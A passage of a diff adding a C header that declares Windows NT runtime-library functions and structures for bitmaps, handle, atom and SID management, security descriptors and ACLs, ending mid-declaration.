+NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBits( + _In_ PRTL_BITMAP BitMapHeader +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); + +NTSYSAPI +ULONG +NTAPI +RtlFindNextForwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _Out_ PULONG StartingRunIndex +); + +NTSYSAPI +ULONG +NTAPI +RtlFindLastBackwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _Out_ PULONG StartingRunIndex +); + +_Success_(return != -1) +_Must_inspect_result_ +NTSYSAPI +CCHAR +NTAPI +RtlFindLeastSignificantBit( + _In_ ULONGLONG Set +); + +_Success_(return != -1) +_Must_inspect_result_ +NTSYSAPI +CCHAR +NTAPI +RtlFindMostSignificantBit( + _In_ ULONGLONG Set +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBitsUlongPtr( + _In_ ULONG_PTR Target +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +VOID +NTAPI +RtlCopyBitMap( + _In_ PRTL_BITMAP Source, + _In_ PRTL_BITMAP Destination, + _In_range_(0, Destination->SizeOfBitMap - 1) ULONG TargetBit +); + +NTSYSAPI +VOID +NTAPI +RtlExtractBitMap( + _In_ PRTL_BITMAP Source, + _In_ PRTL_BITMAP Destination, + _In_range_(0, Source->SizeOfBitMap - 1) ULONG TargetBit, + _In_range_(0, Source->SizeOfBitMap) ULONG NumberOfBits +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +VOID +NTAPI +RtlInterlockedClearBitRun( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear +); + +// rev +NTSYSAPI +VOID +NTAPI +RtlInterlockedSetBitRun( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// private +typedef struct _RTL_BITMAP_EX +{ + ULONG64 SizeOfBitMap; + PULONG64 Buffer; +} RTL_BITMAP_EX, * PRTL_BITMAP_EX; + +// rev +NTSYSAPI +VOID +NTAPI +RtlInitializeBitMapEx( + _Out_ PRTL_BITMAP_EX BitMapHeader, + _In_ PULONG64 BitMapBuffer, + _In_ ULONG64 SizeOfBitMap +); + +// rev +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBitEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG64 BitNumber +); +#endif + +// +// Handle tables +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; // allocated entries have the low bit set + struct _RTL_HANDLE_TABLE_ENTRY* NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, * PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, * PRTL_HANDLE_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + _In_ ULONG MaximumNumberOfHandles, + _In_ ULONG SizeOfHandleTableEntry, + _Out_ PRTL_HANDLE_TABLE HandleTable +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyHandleTable( + _Inout_ PRTL_HANDLE_TABLE HandleTable +); + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _Out_opt_ PULONG HandleIndex +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ ULONG HandleIndex, + _Out_ PRTL_HANDLE_TABLE_ENTRY* Handle +); + +#endif // !_KERNEL_MODE + +// +// Atom tables +// + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xC000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAtomTable( + _In_ ULONG NumberOfBuckets, + _Out_ PVOID* AtomTableHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyAtomTable( + _In_ _Post_invalid_ PVOID AtomTableHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEmptyAtomTable( + _In_ PVOID AtomTableHandle, + _In_ BOOLEAN IncludePinnedAtoms +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Inout_opt_ PRTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Out_opt_ PRTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom, + _Out_opt_ PULONG AtomUsage, + _Out_opt_ PULONG AtomFlags, + _Inout_updates_bytes_to_opt_(*AtomNameLength, *AtomNameLength) PWSTR AtomName, + _Inout_opt_ PULONG AtomNameLength +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlGetIntegerAtom( + _In_ PWSTR AtomName, + _Out_opt_ PUSHORT IntegerAtom +); +#endif + +// +// SIDs +// + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSid( + _In_ PSID Sid +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid( + _In_ PSID Sid1, + _In_ PSID Sid2 +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualPrefixSid( + _In_ PSID Sid1, + _In_ PSID Sid2 +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +ULONG +NTAPI +RtlLengthRequiredSid( + _In_ ULONG SubAuthorityCount +); + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + _In_ _Post_invalid_ PSID Sid +); + +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_ ULONG SubAuthority0, + _In_ ULONG SubAuthority1, + _In_ ULONG SubAuthority2, + _In_ ULONG SubAuthority3, + _In_ ULONG SubAuthority4, + _In_ ULONG SubAuthority5, + _In_ ULONG SubAuthority6, + _In_ ULONG SubAuthority7, + _Outptr_ PSID* Sid +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSidEx( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_reads_(SubAuthorityCount) PULONG SubAuthorities, + _Outptr_ PSID* Sid +); +#endif // NTDDI_VERSION >= NTDDI_WIN8 + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSid( + _Out_ PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSidEx( + _Out_writes_bytes_(SECURITY_SID_SIZE(SubAuthorityCount)) PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + ... +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid( + _In_ PSID Sid +); + +NTSYSAPI +PULONG +NTAPI +RtlSubAuthoritySid( + _In_ PSID Sid, + _In_ ULONG SubAuthority +); + +NTSYSAPI +PUCHAR +NTAPI +RtlSubAuthorityCountSid( + _In_ PSID Sid +); + +NTSYSAPI +_Post_satisfies_(return >= 8 && return <= SECURITY_MAX_SID_SIZE) +ULONG +NTAPI +RtlLengthSid( + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySid( + _In_ ULONG DestinationSidLength, + _Out_writes_bytes_(DestinationSidLength) PSID DestinationSid, + _In_ PSID SourceSid +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateServiceSid( + _In_ PUNICODE_STRING ServiceName, + _Out_writes_bytes_opt_(*ServiceSidLength) PSID ServiceSid, + _Inout_ PULONG ServiceSidLength +); +#endif + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray( + _In_ ULONG Count, + _In_ PSID_AND_ATTRIBUTES Src, + _In_ ULONG SidAreaSize, + _In_ PSID_AND_ATTRIBUTES Dest, + _In_ PSID SidArea, + _Out_ PSID* RemainingSidArea, + _Out_ PULONG RemainingSidAreaSize +); + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidDominates( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN Dominates +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSidDominatesForTrust( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN DominatesTrust // TokenProcessTrustLevel +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidEqualLevel( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN EqualLevel +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidIsHigherLevel( + _In_ PSID Sid1, + _In_ PSID Sid2, + _Out_ PBOOLEAN HigherLevel +); +#endif + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlReplaceSidInSd( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ PSID OldSid, + _In_ PSID NewSid, + _Out_ ULONG * NumChanges +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateVirtualAccountSid( + _In_ PCUNICODE_STRING Name, + _In_ ULONG BaseSubAuthority, + _Out_writes_bytes_(*SidLength) PSID Sid, + _Inout_ PULONG SidLength +); +#endif + +// +// MAX_UNICODE_STACK_BUFFER_LENGTH is the maximum stack buffer +// that RtlConvertSidToUnicodeString can fill if the caller +// specifies AllocateDestinationString = FALSE. +// + +#ifndef _KERNEL_MODE +#define MAX_UNICODE_STACK_BUFFER_LENGTH 256 +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + _Inout_ PUNICODE_STRING UnicodeString, + _In_ PSID Sid, + _In_ BOOLEAN AllocateDestinationString +); + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + _In_ PSID Sid, + _Out_ PULONG StringLength +); +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSidHashInitialize( + _In_reads_(SidCount) PSID_AND_ATTRIBUTES SidAttr, + _In_ ULONG SidCount, + _Out_ PSID_AND_ATTRIBUTES_HASH SidAttrHash +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +PSID_AND_ATTRIBUTES +NTAPI +RtlSidHashLookup( + _In_ PSID_AND_ATTRIBUTES_HASH SidAttrHash, + _In_ PSID Sid +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsElevatedRid( + _In_ PSID_AND_ATTRIBUTES SidAttr +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDeriveCapabilitySidsFromName( + _Inout_ PUNICODE_STRING UnicodeString, + _Out_ PSID CapabilityGroupSid, + _Out_ PSID CapabilitySid +); +#endif + +// +// Security Descriptors +// + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Revision +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +ULONG +NTAPI +RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + _In_reads_bytes_(SecurityDescriptorLength) PSECURITY_DESCRIPTOR SecurityDescriptorInput, + _In_ ULONG SecurityDescriptorLength, + _In_ SECURITY_INFORMATION RequiredInformation +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR_CONTROL Control, + _Out_ PULONG Revision +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL Control, + _Out_ PULONG Revision +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PUCHAR RMControl +); + +NTSYSAPI +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PUCHAR RMControl +); + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN DaclPresent, + _In_opt_ PACL Dacl, + _In_ BOOLEAN DaclDefaulted +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Outptr_result_maybenull_ PACL* Dacl, + _Pre_ _Writable_elements_(1) + _When_(!(*DaclPresent), _Post_invalid_) + _When_((*DaclPresent), _Post_valid_) + PBOOLEAN DaclDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN SaclPresent, + _In_opt_ PACL Sacl, + _In_opt_ BOOLEAN SaclDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL* Sacl, + _Out_ PBOOLEAN SaclDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Owner, + _In_ BOOLEAN OwnerDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Outptr_result_maybenull_ PSID* Owner, + _When_(*Owner == NULL, _Post_invalid_) + _When_(*Owner != NULL, _Post_valid_) + _Pre_ _Notnull_ _Pre_ _Writable_elements_(1) PBOOLEAN OwnerDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Group, + _In_ BOOLEAN GroupDefaulted +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Outptr_result_maybenull_ PSID* Group, + _Pre_ _Notnull_ _Pre_ _Writable_elements_(1) + _When_(*Group == NULL, _Post_invalid_) + _When_(*Group != NULL, _Post_valid_) + PBOOLEAN GroupDefaulted +); + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_writes_bytes_(*BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD( + _In_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Out_writes_bytes_to_opt_(*AbsoluteSecurityDescriptorSize, *AbsoluteSecurityDescriptorSize) PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Inout_ PULONG AbsoluteSecurityDescriptorSize, + _Out_writes_bytes_to_opt_(*DaclSize, *DaclSize) PACL Dacl, + _Inout_ PULONG DaclSize, + _Out_writes_bytes_to_opt_(*SaclSize, *SaclSize) PACL Sacl, + _Inout_ PULONG SaclSize, + _Out_writes_bytes_to_opt_(*OwnerSize, *OwnerSize) PSID Owner, + _Inout_ PULONG OwnerSize, + _Out_writes_bytes_to_opt_(*PrimaryGroupSize, *PrimaryGroupSize) PSID PrimaryGroup, + _Inout_ PULONG PrimaryGroupSize +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2( + _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + _Inout_ PULONG pBufferSize +); + +// +// Access masks +// + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlMapGenericMask( + _Inout_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping +); + +// +// ACLs +// + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + _Out_writes_bytes_(AclLength) PACL Acl, + _In_ ULONG AclLength, + _In_ ULONG AclRevision +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG StartingAceIndex, + _In_reads_bytes_(AceListLength) PVOID AceList, + _In_ ULONG AceListLength +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAce( + _Inout_ PACL Acl, + _In_ ULONG AceIndex +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAce( + _In_ PACL Acl, + _In_ ULONG AceIndex, + _Outptr_ PVOID* Ace +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidAcl( + _In_ PACL Acl +); + +#ifdef _KERNEL_MODE + +// +// Currently define Flags for "OBJECT" ACE types. +// + +#define ACE_OBJECT_TYPE_PRESENT 0x1 +#define ACE_INHERITED_OBJECT_TYPE_PRESENT 0x2 + + +// +// The following declarations are used for setting and querying information +// about and ACL. First are the various information classes available to +// the user. +// + +typedef enum _ACL_INFORMATION_CLASS { + AclRevisionInformation = 1, + AclSizeInformation +} ACL_INFORMATION_CLASS; + +// +// This record is returned/sent if the user is requesting/setting the +// AclRevisionInformation +// + +typedef struct _ACL_REVISION_INFORMATION { + UINT32 AclRevision; +} ACL_REVISION_INFORMATION; +typedef ACL_REVISION_INFORMATION* PACL_REVISION_INFORMATION; + +// +// This record is returned if the user is requesting AclSizeInformation +// + +typedef struct _ACL_SIZE_INFORMATION { + UINT32 AceCount; + UINT32 AclBytesInUse; + UINT32 AclBytesFree; +} ACL_SIZE_INFORMATION; +typedef ACL_SIZE_INFORMATION* PACL_SIZE_INFORMATION; + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryInformationAcl( + _In_ PACL Acl, + _Out_writes_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlSetInformationAcl( + _Inout_ PACL Acl, + _In_reads_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +RtlFirstFreeAce( + _In_ PACL Acl, + _Out_ PVOID* FirstFree +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +PVOID +NTAPI +RtlFindAceByType( + _In_ PACL pAcl, + _In_ UCHAR AceType, + _Out_opt_ PULONG pIndex +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +RtlOwnerAcesPresent( + _In_ PACL pAcl +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure +); +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure +); + +#ifndef _KERNEL_MODE +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddCompoundAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask, + _In_ PSID ServerSid, + _In_ PSID ClientSid +); +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddMandatoryAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ PSID Sid, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAddResourceAttributeAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ULONG AccessMask, + _In_ PSID Sid, + _In_ PCLAIM_SECURITY_ATTRIBUTES_INFORMATION AttributeInfo, + _Out_ PULONG ReturnLength +); +#endif //NTDDI_VERSION >= NTDDI_WIN8 + +#ifndef _KERNEL_MODE +#if (NTDDI_VERSION >= NTDDI_WIN8) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS 